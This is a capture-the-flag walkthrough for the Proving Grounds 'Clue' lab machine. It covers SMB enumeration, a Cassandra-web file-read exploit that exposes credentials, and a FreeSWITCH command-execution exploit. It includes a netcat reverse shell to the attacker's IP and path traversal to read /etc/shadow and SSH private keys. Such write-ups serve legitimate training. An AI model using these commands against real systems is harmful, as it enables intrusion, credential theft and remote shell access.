Clue - Proving Grounds

Enumeration

Let's start by enumerating all TCP ports with nmap.
nmap -sCV -v -p- --min-rate 1000 -T4 192.168.201.240
Pasted image 20240917103819.png
We have SSH(port 22), Apache(port 80), Samba(port 445),Thin(port 3000), Freeswitch-event(port 8021). Let's explore samba first.

Samba - port 445

Let's use smbclient to do a NULL session to find available shares on samba server.
smbclient -N -L //192.168.201.240
Pasted image 20240917104124.png
I notice about a backup share so let's try to access with Null Session.
smbclient -N //192.168.201.240/backup
cd cassandra\etc\cassandra\
ls
mget *
Pasted image 20240917104412.png
Let's explore Apache on port 80 now.

Apache - port 80

http://192.168.201.240/
Pasted image 20240917104823.png
Since we don't have permission here let's explore Thin on port 3000.

Thin 3000

http://192.168.201.240:3000/
Pasted image 20240917104922.png
We see a page that tell us that this service is open on localhost wich means i can use this service to access to the target machine wich i will look how to do it.

I found a vulnerability that i can use to do Remote File Read through a POC from this link wich i download to my local machine and tried to see /etc/passwd from target machine wich i can.
chmod +x 49362.py
python3 49362.py 192.168.201.240 /etc/passwd
Pasted image 20240917105801.png
Here we know that target machine has cassie, anthony users.
python3 49362.py 192.168.201.240 /proc/self/cmdline
Pasted image 20240917105954.png
So now we have cassie:SecondBiteTheApple330 credentials let's try to access by SSH.
ssh cassie@192.168.201.240
SecondBiteTheApple330
Pasted image 20240917111125.png
So it didn't work so i checked for services that could work with those credentials and i found samba server access so let's access with cassie.
crackmapexec smb 192.168.201.240 -u "cassie" -p "SecondBiteTheApple330"
crackmapexec ssh 192.168.201.240 -u "cassie" -p "SecondBiteTheApple330"
Pasted image 20240917111117.png
crackmapexec smb 192.168.201.240 -u "cassie" -p "SecondBiteTheApple330" --shares
Pasted image 20240917111405.png

Check SSH Users - /etc/ssh/sshd_config

Before go to smb again i want to check what users i can access with SSH so let's check by seeing /etc/ssh/sshd_config file.
python3 49362.py 192.168.201.240 /etc/ssh/sshd_config
Pasted image 20240917111945.png
So we only have access to root and anthony.

Freeswitch

Since we have another port called freeswitch let's look for a vulnerability. I found out a command execution vulnerability and POC in this link. So let's dwonload to our local machine and test the exploit.
mv 47799.txt 47799.py
chmod +x 47799.py
python3 47799.py 192.168.201.240 whoami
Pasted image 20240917112852.png
Since this POC is using a default password and it says authentication failed let's change password to what i found on POC and try to run it again.
nano 47799.py
Pasted image 20240917113410.png
With cassie's password doesn't work as well.
Since we know that freeswitch service is running let's try to find some that could have credentials wich i found out this link that talks about change the socket password to /etc/freeswitch/autoload_configs/event_socket.conf.xml.
python3 49362.py 192.168.201.240 /etc/freeswitch/autoload_configs/event_socket.conf.xml
Pasted image 20240917113655.png
Since we have StrongClueConEight021 password let's try to add on POC and test the exploit once again.
python3 47799.py 192.168.201.240 'cat /etc/passwd'
Pasted image 20240917115549.png
Since POC is working now let's use it to gain a shell as freeswitch user.
nc -lvnp 3000
python3 47799.py 192.168.201.240 'nc -nv 192.168.45.226 3000 -e /bin/bash'
Pasted image 20240917120846.png

Privilege Escalation

Let's start by upgrade to a TTY shell.
python3 -c 'import pty;pty.spawn("/bin/bash");'
Pasted image 20240917120952.png
Let's change to Cassie user now.
su cassie
SecondBiteTheApple330
Pasted image 20240917121513.png
I tried check if i can use sudo commands and i found out a command about cassandra database.
sudo -l
SecondBiteTheApple330
Pasted image 20240917123416.png
Now let's just check SUID binaries.
find / -perm -4000 -exec ls -l {} \; 2>/dev/null
Pasted image 20240917123456.png
I didn't find anything interesting so let's look for more information.
I tried to find cronjobs without success.
crontab -l
Pasted image 20240917123929.png

Cassandra Database

Initiate Database

That said, I can run another vulnerable Cassandra server. And it also allows attackers to view files. Thanks to running as root, I might view all files on the machine through it.
sudo cassandra-web -B 0.0.0.0:4444 -u cassie -p SecondBiteTheApple330
Pasted image 20240917130002.png

We can verify that there is indeed port 4444 which is listening on the target machine.
netstat -tulpn
Pasted image 20240917125942.png
I opened another shell to interact with the server.
nc -lvnp 80
python3 47799.py 192.168.201.240 'nc -nv 192.168.45.226 80 -e /bin/bash'
We can only access it from within the machine.
curl 0.0.0.0:4444
Pasted image 20240917130138.png

Exploit Cassandra

Let's try to do directory traversal and try to get information on the target machine.
curl --path-as-is http://0.0.0.0:4444/../../../../../../../../etc/shadow
Pasted image 20240917130528.png
Since we can read /etc/shadow file let's try to see root's private key on /root/.ssh/id_rsa path.
curl --path-as-is http://0.0.0.0:4444/../../../../../../../../root/.ssh/id_rsa
There is no result so let's try on anthony user.
curl --path-as-is http://0.0.0.0:4444/../../../../../../../../home/anthony/.ssh/id_rsa
Pasted image 20240917130931.png
We got anthony's private key so let's add to our local machine and access as anthony on target machine by SSH.
nano id_rsa
chmod 600 id_rsa
ssh -i id_rsa anthony@192.168.201.240
Pasted image 20240917131230.png
It doesn't seem like this is anthony private key so let's try with root user.
ssh -i id_rsa root@192.168.201.240
Pasted image 20240917131318.png
Now that we have root access let's get root flag and user flag.
cd /root
ls -la
Pasted image 20240917131510.png

Find local.txt

find / -iname local.txt -type f 2>/dev/null
Pasted image 20240917131700.png